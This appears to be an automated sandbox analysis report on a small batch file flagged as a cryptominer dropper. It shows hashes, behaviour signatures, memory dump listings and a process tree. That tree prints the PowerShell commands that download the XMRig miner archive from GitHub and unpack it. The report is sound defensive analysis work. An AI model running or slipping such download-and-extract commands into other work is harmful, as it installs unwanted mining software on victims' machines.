04cf0194fb37bcc19b2b63904d84a74c720b64b7938620fdf971bb98a8f47ccd

Analysis

max time kernel
294s
max time network
319s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
22/12/2023, 05:54

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General

Target

tesy - Copy (4).bat
Size

608B
MD5

727c8da0478af118c957ae60f7161cab
SHA1

cf18105b8659e93bbd2824fa35ef1bae7b395301
SHA256

97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
SHA512

d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2708	powershell.exe
4	2708	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2708	powershell.exe
2580	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	2580	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2680 wrote to memory of 2708	2680	cmd.exe	30
PID 2680 wrote to memory of 2708	2680	cmd.exe	30
PID 2680 wrote to memory of 2708	2680	cmd.exe	30
PID 2680 wrote to memory of 2580	2680	cmd.exe	31
PID 2680 wrote to memory of 2580	2680	cmd.exe	31
PID 2680 wrote to memory of 2580	2680	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (4).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2580

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NZKCH0VFNN7RYDG3GFLT.temp

Filesize
7KB

MD5
acd714b514239ec3734defba98386fd2

SHA1
9e5c68318db37efa82ba244369367d86fef9ed82

SHA256
e589c53ede134099257d7d71a173cf4e8c0d77496b073f675a6170e9b41e75aa

SHA512
6241e4dfee18de40f98c254a3ce274cbf0abacd92b06022e3b33c45810e0303ff189cbcdbcfb5b7ee3c6f6efaa83014ff4200d9819ebc56c6b06b45f98192dc8

Download Submit
memory/2580-26-0x000007FEF48D0000-0x000007FEF526D000-memory.dmp

Filesize
9.6MB

Download
memory/2580-25-0x0000000002760000-0x00000000027E0000-memory.dmp

Filesize
512KB

Download
memory/2580-23-0x0000000002760000-0x00000000027E0000-memory.dmp

Filesize
512KB

Download
memory/2580-24-0x0000000002760000-0x00000000027E0000-memory.dmp

Filesize
512KB

Download
memory/2580-22-0x000007FEF48D0000-0x000007FEF526D000-memory.dmp

Filesize
9.6MB

Download
memory/2580-19-0x000000001B240000-0x000000001B522000-memory.dmp

Filesize
2.9MB

Download
memory/2580-20-0x000007FEF48D0000-0x000007FEF526D000-memory.dmp

Filesize
9.6MB

Download
memory/2580-21-0x00000000021F0000-0x00000000021F8000-memory.dmp

Filesize
32KB

Download
memory/2708-8-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-13-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-12-0x00000000029F0000-0x0000000002A70000-memory.dmp

Filesize
512KB

Download
memory/2708-11-0x00000000029F0000-0x0000000002A70000-memory.dmp

Filesize
512KB

Download
memory/2708-10-0x00000000029F0000-0x0000000002A70000-memory.dmp

Filesize
512KB

Download
memory/2708-9-0x00000000029F0000-0x0000000002A70000-memory.dmp

Filesize
512KB

Download
memory/2708-4-0x000000001B2E0000-0x000000001B5C2000-memory.dmp

Filesize
2.9MB

Download
memory/2708-7-0x00000000029F0000-0x0000000002A70000-memory.dmp

Filesize
512KB

Download
memory/2708-6-0x000007FEF5270000-0x000007FEF5C0D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-5-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

Filesize
32KB

Download